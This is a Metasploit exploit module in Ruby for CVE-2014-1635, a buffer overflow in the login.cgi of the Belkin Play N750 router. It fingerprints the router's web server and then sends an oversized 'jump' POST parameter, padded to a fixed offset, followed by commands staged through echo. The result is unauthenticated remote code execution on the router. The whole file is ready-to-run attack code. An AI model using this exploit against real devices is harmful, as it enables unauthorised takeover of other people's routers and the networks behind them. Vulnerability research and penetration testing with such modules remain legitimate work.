Belkin Play N750 login.cgi Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',  
'Description' => %q{  
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB  
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling  
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing  
remote unauthenticated attackers to execute arbitrary code. This module was tested in  
an emulated environment, using the version 1.10.16.m of the firmwarey.  
},  
'Author' =>  
[  
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)  
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux'],  
'Arch' => ARCH_MIPSLE,  
'References' =>  
[  
['CVE', '2014-1635'],  
['EDB', '35184'],  
['BID', '70977'],  
['OSVDB', '114345'],  
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],  
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']  
],  
'Targets' =>  
[  
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',  
{  
'Offset' => 1379,  
}  
]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8080  
},  
'DisclosureDate' => 'May 09 2014',  
'DefaultTarget' => 0))  
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/'  
})  
  
if res &&  
[200, 301, 302].include?(res.code) &&  
res.headers['Server'] &&  
res.headers['Server'] =~ /minhttpd/ &&  
res.body =~ /u_errpaswd/  
  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Accessing the vulnerable URL...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")  
end  
  
print_status("#{peer} - Exploiting...")  
execute_cmdstager(  
:flavor => :echo,  
:linemax => 200  
)  
end  
  
def prepare_shellcode(cmd)  
shellcode = rand_text_alpha_upper(target['Offset'])  
shellcode << 'e' << cmd  
shellcode << "\n\n"  
end  
  
def execute_command(cmd, opts)  
shellcode = prepare_shellcode(cmd)  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/login.cgi',  
'vars_post' => {  
'GO' => '',  
'jump' => shellcode,  
}  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`